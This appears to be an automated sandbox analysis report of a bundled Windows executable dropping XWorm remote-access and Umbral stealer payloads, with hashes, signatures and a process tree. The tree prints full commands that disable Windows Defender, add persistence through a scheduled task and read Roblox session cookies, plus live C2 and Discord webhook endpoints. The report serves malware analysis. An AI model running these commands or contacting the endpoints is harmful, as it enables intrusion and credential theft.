Analysis

  • max time kernel
    148s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    09-05-2024 06:52

General

  • Target

    XBinderOutput2.exe

  • Size

    17.8MB

  • MD5

    a8cda1e3a11a63a5100710ebae243fc3

  • SHA1

    576b05edb98b7a876d718cf68431829cb3fa9de6

  • SHA256

    821af9552ad85d2d62532f2d93e8c16f7630aeddbbdc9cbe0c567ea7dbf784fa

  • SHA512

    63c3f941a1ee1d6394c2ec47c6a4c9965e6c52432a2139e26a330b249dec2edc18818f37c758e52b6b18f1b836aa31e87eccaa93af72ee91fcbc03a0dd15f3e0

  • SSDEEP

    393216:SQafHC7YYWipbNd1u1xMe7nW3xKHJ0Z+HkkmyRG4:NafC7Y4BNd1u1xZ7W3x80AA1

Malware Config

Extracted

Family

xworm

C2

our-sole.gl.at.ply.gg:46907

Attributes
  • Install_directory

    %AppData%

  • install_file

    XClient.exe

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1236611629903380501/oT2tsAnrV_nKS_jRzm9Dp__bJxe9t_Ww5HM_1B2JjBrixMsDcr3JT5wfaEqHWCedkawt

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 5 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 8 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\XBinderOutput2.exe
    "C:\Users\Admin\AppData\Local\Temp\XBinderOutput2.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:3028
    • C:\Users\Admin\AppData\Local\Temp\XClien1t.exe
      "C:\Users\Admin\AppData\Local\Temp\XClien1t.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClien1t.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2116
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClien1t.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2228
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2972
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1568
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
        3⤵
        • Creates scheduled task(s)
        PID:2656
    • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
      "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2568
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1432
      • C:\Windows\system32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        3⤵
        • Views/modifies file attributes
        PID:2088
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1200
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:556
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:768
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:984
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2100
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:2244
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:2748
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2652
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:3028
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2920
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • Runs ping.exe
              PID:1732
        • C:\Users\Admin\AppData\Local\Temp\creal.exe
          "C:\Users\Admin\AppData\Local\Temp\creal.exe"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2832
          • C:\Users\Admin\AppData\Local\Temp\creal.exe
            "C:\Users\Admin\AppData\Local\Temp\creal.exe"
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:2724
      • C:\Windows\system32\taskeng.exe
        taskeng.exe {1E21D5C9-26CC-474E-8698-C19581DB3524} S-1-5-21-481678230-3773327859-3495911762-1000:UIBNQNMA\Admin:Interactive:[1]
        1⤵
          PID:1560
          • C:\Users\Admin\AppData\Roaming\XClient.exe
            C:\Users\Admin\AppData\Roaming\XClient.exe
            2⤵
            • Executes dropped EXE
            PID:2232
          • C:\Users\Admin\AppData\Roaming\XClient.exe
            C:\Users\Admin\AppData\Roaming\XClient.exe
            2⤵
            • Executes dropped EXE
            PID:2996
          • C:\Users\Admin\AppData\Roaming\XClient.exe
            C:\Users\Admin\AppData\Roaming\XClient.exe
            2⤵
            • Executes dropped EXE
            PID:1576

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\Umbral.exe

          Filesize

          227KB

          MD5

          62b9b8b0309816ce14052004cef1e777

          SHA1

          9d5f3e8d7e9bad1eeba073343a1fcd204cee78b4

          SHA256

          85675e6c15174945a97a8ff63468c38f99c4d9c81b7f92a5200b4438c8d16c1f

          SHA512

          ff9551fa639bded19d960d4251b334a5114a4a3fcce2d8091df8d1d12609cd361ea15e3a63f4544e2d9a64012bed60f9b5eb99aec491a59c5d68c26912615778

        • C:\Users\Admin\AppData\Local\Temp\XClien1t.exe

          Filesize

          80KB

          MD5

          2ff966edfc4396ba69a99e3328045fdf

          SHA1

          79ca230b7c6525753d573ee2fb9bba998f620e81

          SHA256

          b30c162dbfcee84db22269812ebe2e690ca45936baeb862c0614bb67233b23c3

          SHA512

          270fe10d34affd2e6ae3becd01ec6786c3f07cec191baf7607117863e7deaf38d512cdaa66fa85e6b4f4cc13275acdaa64c36c587c30e6e1be6549f0d8bde9f9

        • C:\Users\Admin\AppData\Local\Temp\_MEI28322\python311.dll

          Filesize

          5.5MB

          MD5

          65e381a0b1bc05f71c139b0c7a5b8eb2

          SHA1

          7c4a3adf21ebcee5405288fc81fc4be75019d472

          SHA256

          53a969094231b9032abe4148939ce08a3a4e4b30b0459fc7d90c89f65e8dcd4a

          SHA512

          4db465ef927dfb019ab6faec3a3538b0c3a8693ea3c2148fd16163bf31c03c899dfdf350c31457edf64e671e3cc3e46851f32f0f84b267535bebc4768ef53d39

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          f6cac0ed411d494c8fdda42b960f941d

          SHA1

          5f04c7427883de03accf5018f471012c5294c76e

          SHA256

          13126e189e680027d25fa909ddabde07bdd2ef649db2185cbcb2b82974f5fd95

          SHA512

          b02273c9657a39c479ca52ff3094adcd5c8e0b3256bf874a946446d2a80ee5c11882e363eb40ff5568b47952ad4e3ee4e814355cda1700f763cc467857eedb2c

        • \Users\Admin\AppData\Local\Temp\creal.exe

          Filesize

          17.9MB

          MD5

          011de9cc41adb4134268ef5f78c3b9bd

          SHA1

          1856d8b78da864339cacf55a9f3b08e59277a58f

          SHA256

          85403f67f316d17dd262326c00d840cd44f3e602ef7e5ccf74978ec321a4cc70

          SHA512

          fc6e52a50c302cfb9df55262e7c599cff43a977c29900310249ba81c13cc0d2ee81c21d4c078eff9a262a0c9f91e69a02a0cbfa2556470b708accee51aa958dd

        • memory/556-136-0x0000000002240000-0x0000000002248000-memory.dmp

          Filesize

          32KB

        • memory/768-163-0x0000000002770000-0x0000000002778000-memory.dmp

          Filesize

          32KB

        • memory/1568-162-0x000000001B590000-0x000000001B872000-memory.dmp

          Filesize

          2.9MB

        • memory/1576-280-0x0000000001100000-0x000000000111A000-memory.dmp

          Filesize

          104KB

        • memory/2116-117-0x000000001B600000-0x000000001B8E2000-memory.dmp

          Filesize

          2.9MB

        • memory/2116-118-0x00000000022C0000-0x00000000022C8000-memory.dmp

          Filesize

          32KB

        • memory/2232-274-0x0000000000010000-0x000000000002A000-memory.dmp

          Filesize

          104KB

        • memory/2568-15-0x00000000010D0000-0x0000000001110000-memory.dmp

          Filesize

          256KB

        • memory/2984-112-0x000007FEF5290000-0x000007FEF5C7C000-memory.dmp

          Filesize

          9.9MB

        • memory/2984-11-0x0000000000DE0000-0x0000000000DFA000-memory.dmp

          Filesize

          104KB

        • memory/2984-10-0x000007FEF5290000-0x000007FEF5C7C000-memory.dmp

          Filesize

          9.9MB

        • memory/2984-270-0x000007FEF5290000-0x000007FEF5C7C000-memory.dmp

          Filesize

          9.9MB

        • memory/2984-275-0x000007FEF5290000-0x000007FEF5C7C000-memory.dmp

          Filesize

          9.9MB

        • memory/2996-278-0x0000000000CF0000-0x0000000000D0A000-memory.dmp

          Filesize

          104KB

        • memory/3028-4-0x000007FEF5290000-0x000007FEF5C7C000-memory.dmp

          Filesize

          9.9MB

        • memory/3028-1-0x0000000000A60000-0x0000000001C2E000-memory.dmp

          Filesize

          17.8MB

        • memory/3028-0-0x000007FEF5293000-0x000007FEF5294000-memory.dmp

          Filesize

          4KB

        • memory/3028-21-0x000007FEF5290000-0x000007FEF5C7C000-memory.dmp

          Filesize

          9.9MB